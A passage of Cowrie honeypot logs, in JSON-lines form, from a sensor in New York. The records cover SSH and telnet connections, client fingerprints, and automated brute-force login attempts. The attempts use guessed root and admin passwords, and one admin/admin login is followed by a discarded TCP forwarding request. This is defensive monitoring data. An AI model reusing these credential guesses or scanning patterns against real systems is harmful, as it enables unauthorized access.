-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:02.479568Z","src_ip":"163.245.222.56","session":"98304847f345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xbm","message":"login attempt [root/xbm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:02.559938Z","src_ip":"163.245.222.56","session":"98304847f345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.043181657791138,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:03.287102Z","src_ip":"167.71.238.254","session":"12fdd313e1b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:03.571036Z","src_ip":"163.245.222.56","session":"98304847f345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":38662,"dst_ip":"159.203.135.109","dst_port":22,"session":"198dc5b53365","protocol":"ssh","message":"New connection: 41.181.156.205:38662 (159.203.135.109:22) [session: 198dc5b53365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:06.549346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:06.556382Z","src_ip":"41.181.156.205","session":"198dc5b53365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:06.820667Z","src_ip":"41.181.156.205","session":"198dc5b53365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:07.841557Z","src_ip":"41.181.156.205","session":"198dc5b53365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:09.092348Z","src_ip":"41.181.156.205","session":"198dc5b53365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":48754,"dst_ip":"159.203.135.109","dst_port":22,"session":"3832cb672577","protocol":"ssh","message":"New connection: 2.27.36.16:48754 (159.203.135.109:22) [session: 3832cb672577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:35.163527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:35.169143Z","src_ip":"2.27.36.16","session":"3832cb672577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:35.276843Z","src_ip":"2.27.36.16","session":"3832cb672577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$5678","message":"login attempt [root/!@#$5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:35.731134Z","src_ip":"2.27.36.16","session":"3832cb672577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:36.852252Z","src_ip":"2.27.36.16","session":"3832cb672577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":33086,"dst_ip":"159.203.135.109","dst_port":22,"session":"1535854695f4","protocol":"ssh","message":"New connection: 163.245.222.56:33086 (159.203.135.109:22) [session: 1535854695f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:18.830074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:18.835336Z","src_ip":"163.245.222.56","session":"1535854695f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:18.840659Z","src_ip":"163.245.222.56","session":"1535854695f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123","message":"login attempt [root/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:18.902420Z","src_ip":"163.245.222.56","session":"1535854695f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:19.912196Z","src_ip":"163.245.222.56","session":"1535854695f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":42122,"dst_ip":"159.203.135.109","dst_port":22,"session":"947df3511216","protocol":"ssh","message":"New connection: 106.13.14.186:42122 (159.203.135.109:22) [session: 947df3511216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:35.568457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:35.573716Z","src_ip":"106.13.14.186","session":"947df3511216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:35.811948Z","src_ip":"106.13.14.186","session":"947df3511216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.110.96.89","src_port":52677,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f455025d894","protocol":"telnet","message":"New connection: 201.110.96.89:52677 (159.203.135.109:23) [session: 4f455025d894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:36.459570Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@1234","message":"login attempt [root/qwerty@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:36.773812Z","src_ip":"106.13.14.186","session":"947df3511216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16754,"dst_ip":"10.17.0.5","dst_port":22,"session":"188681235005","protocol":"ssh","message":"New connection: 87.251.64.176:16754 (10.17.0.5:22) [session: 188681235005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:37.580742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:37.586465Z","src_ip":"87.251.64.176","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:37.678601Z","src_ip":"87.251.64.176","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:38.010358Z","src_ip":"106.13.14.186","session":"947df3511216","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:38.055157Z","src_ip":"87.251.64.176","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:38.153847Z","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:38.255890Z","src_ip":"87.251.64.176","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:38.356285Z","src_ip":"87.251.64.176","session":"188681235005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":51220,"dst_ip":"159.203.135.109","dst_port":22,"session":"85cca25cd62b","protocol":"ssh","message":"New connection: 41.181.156.205:51220 (159.203.135.109:22) [session: 85cca25cd62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:42.164333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:42.169480Z","src_ip":"41.181.156.205","session":"85cca25cd62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:42.418394Z","src_ip":"41.181.156.205","session":"85cca25cd62b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burton","message":"login attempt [root/burton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:43.439633Z","src_ip":"41.181.156.205","session":"85cca25cd62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:44.689889Z","src_ip":"41.181.156.205","session":"85cca25cd62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":42564,"dst_ip":"159.203.135.109","dst_port":22,"session":"437a60671421","protocol":"ssh","message":"New connection: 2.27.36.16:42564 (159.203.135.109:22) [session: 437a60671421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:46.730039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:46.739133Z","src_ip":"2.27.36.16","session":"437a60671421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:46.841537Z","src_ip":"2.27.36.16","session":"437a60671421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:47.273995Z","src_ip":"2.27.36.16","session":"437a60671421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:48.375797Z","src_ip":"2.27.36.16","session":"437a60671421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.462079763412476,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:41:48.921438Z","src_ip":"201.110.96.89","session":"4f455025d894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":51428,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef7250a97ef","protocol":"ssh","message":"New connection: 205.254.166.156:51428 (159.203.135.109:22) [session: 9ef7250a97ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:01.848741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:01.853485Z","src_ip":"205.254.166.156","session":"9ef7250a97ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-